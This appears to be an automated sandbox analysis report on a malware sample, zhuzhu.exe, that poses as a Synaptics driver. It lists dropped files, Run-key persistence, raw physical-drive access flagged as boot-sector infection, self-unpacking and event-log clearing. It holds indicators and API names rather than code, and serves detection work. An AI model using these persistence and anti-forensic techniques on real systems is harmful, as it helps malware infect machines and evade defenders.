Source: C:\Users\user\Downloads\inst.exe	Section loaded: wininet.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Downloads\inst.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: version.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wininet.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wsock32.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: netapi32.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: windows.storage.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: wldp.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\Synaptics\Synaptics.exe	Section loaded: textshaping.dll

Source: C:\Users\user\Desktop\zhuzhu.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe

File written: C:\Users\user\AppData\Local\Temp\cmmNnpH.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Downloads\inst.exe

Window detected: Number of UI elements: 24

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: zhuzhu.exe

Static file information: File size 6061056 > 1048576

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: zhuzhu.exe

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x51d400

Source:	Binary string: \Release\Code_Shellcode.pdb source: ._cache_zhuzhu.exe, ._cache_zhuzhu.exe, 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmp, ._cache_zhuzhu.exe, 00000001.00000002.1778533321.0000000002860000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\vmagent_new\bin\joblist\249110\out\Release\360P2SP.pdb source: inst.exe, 00000007.00000003.1803199164.0000000003C95000.00000004.00000020.00020000.00000000.sdmp, inst.exe, 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmp, 360P2SP.dll.7.dr
Source:	Binary string: c:\vmagent_new\bin\joblist\312713\out\Release\sites.pdbX source: inst.exe, 00000007.00000002.4159349307.0000000062BE5000.00000002.00000001.01000000.00000012.sdmp, sites.dll.7.dr
Source:	Binary string: Attempt to access uninitialized member object: TVEProcessPacket.PdbForwarderContext source: zhuzhu.exe, ._cache_zhuzhu.exe.1.dr, ._cache_zhuzhu.exe.0.dr, Synaptics.exe.0.dr
Source:	Binary string: SAttempt to access uninitialized member object: TVEProcessPacket.PdbForwarderContextSVWU source: zhuzhu.exe, ._cache_zhuzhu.exe.1.dr, ._cache_zhuzhu.exe.0.dr, Synaptics.exe.0.dr
Source:	Binary string: \Release\Code_Shellcode.pdb(!!GCTL source: ._cache_zhuzhu.exe, 00000001.00000002.1781724637.0000000010012000.00000002.00001000.00020000.00000000.sdmp, ._cache_zhuzhu.exe, 00000001.00000002.1778533321.0000000002860000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\vmagent_new\bin\joblist\832091\out\Release\360Installer.pdb source: inst.exe, 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmp, inst.exe, 00000007.00000000.1759892249.000000000021E000.00000002.00000001.01000000.0000000C.sdmp, inst.exe, 0000000C.00000000.1770278594.000000000021E000.00000002.00000001.01000000.0000000C.sdmp, inst.exe, 0000000C.00000002.1778901612.000000000021E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: c:\vmagent_new\bin\joblist\312713\out\Release\sites.pdb source: inst.exe, 00000007.00000002.4159349307.0000000062BE5000.00000002.00000001.01000000.00000012.sdmp, sites.dll.7.dr

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\._cache_zhuzhu.exe

Unpacked PE file: 1.2.._cache_zhuzhu.exe.400000.0.unpack

Source: C:\Users\user\Desktop\._cache_zhuzhu.exe

Code function: 1_2_10001170 LoadLibraryW,GetProcAddress,GetProcAddress,GetModuleHandleA,RegisterClassW,CreateWindowExW,GetMessageW,TranslateMessage,DispatchMessageW,

1_2_10001170

Source: ._cache_zhuzhu.exe.1.dr	Static PE information: real checksum: 0x5142eb should be: 0x5110e9
Source: ~$cache1.2.dr	Static PE information: real checksum: 0x0 should be: 0xc1c51
Source: zhuzhu.exe	Static PE information: real checksum: 0x0 should be: 0x5cd873
Source: ._cache_zhuzhu.exe.0.dr	Static PE information: real checksum: 0x5142eb should be: 0x5110e9
Source: RCXE77E.tmp.0.dr	Static PE information: real checksum: 0x0 should be: 0xc1c51
Source: Synaptics.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x5cd873

Source: C:\ProgramData\Synaptics\Synaptics.exe	Code function: 2_2_09C8F104 push cs; retf	2_2_09C8F15C
Source: C:\ProgramData\Synaptics\Synaptics.exe	Code function: 2_2_09C8F1A8 push ecx; ret	2_2_09C8F1A9
Source: C:\ProgramData\Synaptics\Synaptics.exe	Code function: 2_2_09C8F131 push cs; retf	2_2_09C8F15C
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_03784345 push ecx; ret	4_2_03784358
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_0379A168 push eax; ret	4_2_0379A119
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_0379A0B8 push eax; ret	4_2_0379A119
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_03792470 push ebp; retf	4_2_03792474
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_03792450 push ebp; retf	4_2_03792474
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_03792438 push ebp; retf	4_2_03792474
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_02C7FE9A push ecx; ret	4_2_02C7FEBF
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_02C69DF5 push ecx; ret	4_2_02C69E08
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_02BDCAFF push eax; retf	4_2_02BDCB00
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_02BDCB0B push 701000CBh; retf	4_2_02BDCB10
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_02BDCB07 pushad ; retf	4_2_02BDCB08
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_02BDCB61 pushfd ; retf	4_2_02BDCB64
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_02BD9DCC push ecx; ret	4_2_02BD9DDF
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_03603D04 push ecx; ret	4_2_03603D17
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_001E4821 push ecx; ret	7_2_001E4834
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_00177330 push ecx; mov dword ptr [esp], 00000000h	7_2_00177331
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_001E54F9 push ecx; ret	7_2_001E550C
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_001639B0 push ecx; mov dword ptr [esp], 00000000h	7_2_001639B1
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_00163C30 push ecx; mov dword ptr [esp], 00000000h	7_2_00163C31
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_5F52BD51 push ecx; ret	7_2_5F52BD64
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_00178144 push dword ptr [ebp+ebp*8+3Bh]; ret	12_2_00178149
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_001E4821 push ecx; ret	12_2_001E4834
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_00177330 push ecx; mov dword ptr [esp], 00000000h	12_2_00177331
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_001E54F9 push ecx; ret	12_2_001E550C
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_001639B0 push ecx; mov dword ptr [esp], 00000000h	12_2_001639B1
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_00163C30 push ecx; mov dword ptr [esp], 00000000h	12_2_00163C31

Persistence and Installation Behavior

Contains functionality to infect the boot sector

Source: C:\Users\user\Downloads\inst.exe	Code function: __EH_prolog3,CreateFileW,_memset,DeviceIoControl,_memset,CloseHandle, \\.\PHYSICALDRIVE%d	7_2_001D2158
Source: C:\Users\user\Downloads\inst.exe	Code function: CreateFileA,CreateFileA,DeviceIoControl,CloseHandle,_memset,CloseHandle, \\.\PhysicalDrive%d	7_2_001E2210
Source: C:\Users\user\Downloads\inst.exe	Code function: CreateFileA,CreateFileA,_memset,DeviceIoControl,_memset,CloseHandle, \\.\PhysicalDrive%d	7_2_001E25D0
Source: C:\Users\user\Downloads\inst.exe	Code function: _memset,CreateFileW,_memset,DeviceIoControl,_memset,_memcpy_s,CloseHandle, \\.\PHYSICALDRIVE%d	7_2_001D18BD
Source: C:\Users\user\Downloads\inst.exe	Code function: _memset,CreateFileW,_memset,DeviceIoControl,_memset,_memcpy_s,CloseHandle, \\.\PHYSICALDRIVE%d	7_2_001D1A51
Source: C:\Users\user\Downloads\inst.exe	Code function: _memset,CreateFileW,_memset,DeviceIoControl,CloseHandle, \\.\PHYSICALDRIVE%d	7_2_001D1BEB
Source: C:\Users\user\Downloads\inst.exe	Code function: _malloc,SetLastError,CreateFileA,_memset,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	7_2_001666F0
Source: C:\Users\user\Downloads\inst.exe	Code function: CreateFileA,_memset,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	7_2_00166759
Source: C:\Users\user\Downloads\inst.exe	Code function: DeviceIoControl,CreateFileA,DeviceIoControl,_malloc,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	7_2_001E2760
Source: C:\Users\user\Downloads\inst.exe	Code function: CreateFileW,DeviceIoControl,DeviceIoControl,CloseHandle,_memset,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	7_2_001768A0
Source: C:\Users\user\Downloads\inst.exe	Code function: CreateFileW,_memset,DeviceIoControl,CloseHandle,_memset,_memset,StrTrimA,StrTrimA,CloseHandle, \\.\PhysicalDrive%d	7_2_00176AE0
Source: C:\Users\user\Downloads\inst.exe	Code function: __EH_prolog3,CreateFileW,_memset,DeviceIoControl,_memset,CloseHandle, \\.\PHYSICALDRIVE%d	12_2_001D2158
Source: C:\Users\user\Downloads\inst.exe	Code function: CreateFileA,CreateFileA,DeviceIoControl,CloseHandle,_memset,CloseHandle, \\.\PhysicalDrive%d	12_2_001E2210
Source: C:\Users\user\Downloads\inst.exe	Code function: CreateFileA,CreateFileA,_memset,DeviceIoControl,_memset,CloseHandle, \\.\PhysicalDrive%d	12_2_001E25D0
Source: C:\Users\user\Downloads\inst.exe	Code function: SetLastError,CreateFileA,_memset,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	12_2_001666F0
Source: C:\Users\user\Downloads\inst.exe	Code function: CreateFileA,_memset,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	12_2_00166759
Source: C:\Users\user\Downloads\inst.exe	Code function: DeviceIoControl,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	12_2_001E2760
Source: C:\Users\user\Downloads\inst.exe	Code function: CreateFileW,DeviceIoControl,DeviceIoControl,CloseHandle,_memset,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	12_2_001768A0
Source: C:\Users\user\Downloads\inst.exe	Code function: CreateFileW,_memset,DeviceIoControl,CloseHandle,_memset,_memset,StrTrimA,StrTrimA,CloseHandle, \\.\PhysicalDrive%d	12_2_00176AE0
Source: C:\Users\user\Downloads\inst.exe	Code function: _memset,CreateFileW,_memset,DeviceIoControl,_memset,_memcpy_s,CloseHandle, \\.\PHYSICALDRIVE%d	12_2_001D18BD
Source: C:\Users\user\Downloads\inst.exe	Code function: _memset,CreateFileW,_memset,DeviceIoControl,_memset,_memcpy_s,CloseHandle, \\.\PHYSICALDRIVE%d	12_2_001D1A51
Source: C:\Users\user\Downloads\inst.exe	Code function: _memset,CreateFileW,_memset,DeviceIoControl,CloseHandle, \\.\PHYSICALDRIVE%d	12_2_001D1BEB

Drops PE files to the document folder of the user

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\Documents\DTBZGIOOSO\~$cache1

Jump to dropped file

Source: C:\Users\user\Desktop\zhuzhu.exe	File created: C:\ProgramData\Synaptics\RCXE77E.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\inst[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\zhuzhu.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe	Jump to dropped file
Source: C:\Users\user\Desktop\zhuzhu.exe	File created: C:\Users\user\Desktop\._cache_zhuzhu.exe	Jump to dropped file
Source: C:\Users\user\Downloads\inst.exe	File created: C:\Users\user\AppData\Local\Temp\{A44B7723-4283-41b8-B9C0-6B1983C61382}.tmp\sites.dll	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	File created: C:\Users\user\Downloads\inst.exe	Jump to dropped file
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	File created: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Jump to dropped file
Source: C:\ProgramData\Synaptics\Synaptics.exe	File created: C:\Users\user\Documents\DTBZGIOOSO\~$cache1	Jump to dropped file
Source: C:\Users\user\Downloads\inst.exe	File created: C:\Users\user\AppData\Local\Temp\{92EE34F9-CBF9-4899-A446-C0FD9C9E29A7}.tmp\360P2SP.dll	Jump to dropped file

Source: C:\Users\user\Desktop\zhuzhu.exe	File created: C:\ProgramData\Synaptics\RCXE77E.tmp			Jump to dropped file
Source: C:\Users\user\Desktop\zhuzhu.exe	File created: C:\ProgramData\Synaptics\Synaptics.exe			Jump to dropped file

Source: C:\ProgramData\Synaptics\Synaptics.exe

File created: C:\Users\user\Documents\DTBZGIOOSO\~$cache1

Jump to dropped file

Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_001CDA24 GetPrivateProfileStringW,	7_2_001CDA24
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_00199A0C _memset,SHGetValueW,PathAppendW,PathAppendW,PathAppendW,PathFileExistsW,GetPrivateProfileIntW,__time64,	7_2_00199A0C
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_5F4FFE46 GetPrivateProfileIntW,_memset,_wcslen,_memset,inet_addr,inet_addr,GetPrivateProfileIntW,GetPrivateProfileIntW,_memset,_wcslen,_memset,inet_addr,inet_addr,_memset,_wcslen,_memset,inet_addr,inet_addr,_wcslen,__wcslwr,wsprintfW,	7_2_5F4FFE46
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_00199A0C _memset,SHGetValueW,PathAppendW,PathAppendW,PathAppendW,PathFileExistsW,GetPrivateProfileIntW,__time64,	12_2_00199A0C
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_001CDA24 GetPrivateProfileStringW,	12_2_001CDA24

Boot Survival

Contains functionality to infect the boot sector

Source: C:\Users\user\Downloads\inst.exe	Code function: __EH_prolog3,CreateFileW,_memset,DeviceIoControl,_memset,CloseHandle, \\.\PHYSICALDRIVE%d	7_2_001D2158
Source: C:\Users\user\Downloads\inst.exe	Code function: CreateFileA,CreateFileA,DeviceIoControl,CloseHandle,_memset,CloseHandle, \\.\PhysicalDrive%d	7_2_001E2210
Source: C:\Users\user\Downloads\inst.exe	Code function: CreateFileA,CreateFileA,_memset,DeviceIoControl,_memset,CloseHandle, \\.\PhysicalDrive%d	7_2_001E25D0
Source: C:\Users\user\Downloads\inst.exe	Code function: _memset,CreateFileW,_memset,DeviceIoControl,_memset,_memcpy_s,CloseHandle, \\.\PHYSICALDRIVE%d	7_2_001D18BD
Source: C:\Users\user\Downloads\inst.exe	Code function: _memset,CreateFileW,_memset,DeviceIoControl,_memset,_memcpy_s,CloseHandle, \\.\PHYSICALDRIVE%d	7_2_001D1A51
Source: C:\Users\user\Downloads\inst.exe	Code function: _memset,CreateFileW,_memset,DeviceIoControl,CloseHandle, \\.\PHYSICALDRIVE%d	7_2_001D1BEB
Source: C:\Users\user\Downloads\inst.exe	Code function: _malloc,SetLastError,CreateFileA,_memset,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	7_2_001666F0
Source: C:\Users\user\Downloads\inst.exe	Code function: CreateFileA,_memset,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	7_2_00166759
Source: C:\Users\user\Downloads\inst.exe	Code function: DeviceIoControl,CreateFileA,DeviceIoControl,_malloc,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	7_2_001E2760
Source: C:\Users\user\Downloads\inst.exe	Code function: CreateFileW,DeviceIoControl,DeviceIoControl,CloseHandle,_memset,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	7_2_001768A0
Source: C:\Users\user\Downloads\inst.exe	Code function: CreateFileW,_memset,DeviceIoControl,CloseHandle,_memset,_memset,StrTrimA,StrTrimA,CloseHandle, \\.\PhysicalDrive%d	7_2_00176AE0
Source: C:\Users\user\Downloads\inst.exe	Code function: __EH_prolog3,CreateFileW,_memset,DeviceIoControl,_memset,CloseHandle, \\.\PHYSICALDRIVE%d	12_2_001D2158
Source: C:\Users\user\Downloads\inst.exe	Code function: CreateFileA,CreateFileA,DeviceIoControl,CloseHandle,_memset,CloseHandle, \\.\PhysicalDrive%d	12_2_001E2210
Source: C:\Users\user\Downloads\inst.exe	Code function: CreateFileA,CreateFileA,_memset,DeviceIoControl,_memset,CloseHandle, \\.\PhysicalDrive%d	12_2_001E25D0
Source: C:\Users\user\Downloads\inst.exe	Code function: SetLastError,CreateFileA,_memset,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	12_2_001666F0
Source: C:\Users\user\Downloads\inst.exe	Code function: CreateFileA,_memset,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	12_2_00166759
Source: C:\Users\user\Downloads\inst.exe	Code function: DeviceIoControl,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	12_2_001E2760
Source: C:\Users\user\Downloads\inst.exe	Code function: CreateFileW,DeviceIoControl,DeviceIoControl,CloseHandle,_memset,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	12_2_001768A0
Source: C:\Users\user\Downloads\inst.exe	Code function: CreateFileW,_memset,DeviceIoControl,CloseHandle,_memset,_memset,StrTrimA,StrTrimA,CloseHandle, \\.\PhysicalDrive%d	12_2_00176AE0
Source: C:\Users\user\Downloads\inst.exe	Code function: _memset,CreateFileW,_memset,DeviceIoControl,_memset,_memcpy_s,CloseHandle, \\.\PHYSICALDRIVE%d	12_2_001D18BD
Source: C:\Users\user\Downloads\inst.exe	Code function: _memset,CreateFileW,_memset,DeviceIoControl,_memset,_memcpy_s,CloseHandle, \\.\PHYSICALDRIVE%d	12_2_001D1A51
Source: C:\Users\user\Downloads\inst.exe	Code function: _memset,CreateFileW,_memset,DeviceIoControl,CloseHandle, \\.\PHYSICALDRIVE%d	12_2_001D1BEB

Source: C:\Users\user\Desktop\zhuzhu.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver			Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run Synaptics Pointing Device Driver			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_001BA4F6 __EH_prolog3,IsIconic,ShowWindow,	7_2_001BA4F6
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_00196727 FindWindowW,ShowWindow,IsWindowVisible,IsIconic,BringWindowToTop,	7_2_00196727
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_00195C31 IsWindow,IsIconic,ShowWindow,ShowWindow,IsWindowVisible,ShowWindow,SetForegroundWindow,SetWindowPos,SetWindowPos,SetWindowPos,	7_2_00195C31
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_00196727 FindWindowW,ShowWindow,IsWindowVisible,IsIconic,BringWindowToTop,	12_2_00196727
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_00195C31 IsWindow,IsIconic,ShowWindow,ShowWindow,IsWindowVisible,ShowWindow,SetForegroundWindow,SetWindowPos,SetWindowPos,SetWindowPos,	12_2_00195C31

Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe

Code function: 4_2_0377B3C0 OpenEventLogW,OpenEventLogW,ClearEventLogW,CloseEventLog,

4_2_0377B3C0

Source: C:\Users\user\Downloads\inst.exe

Code function: 7_2_00185706 __EH_prolog3,_memset,GetWindowsDirectoryW,LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

7_2_00185706

Source: C:\ProgramData\Synaptics\Synaptics.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe

Key value created or modified: HKEY_CURRENT_USER\Console\0 9e9e85e05ee16fc372a0c7df6549fbd4

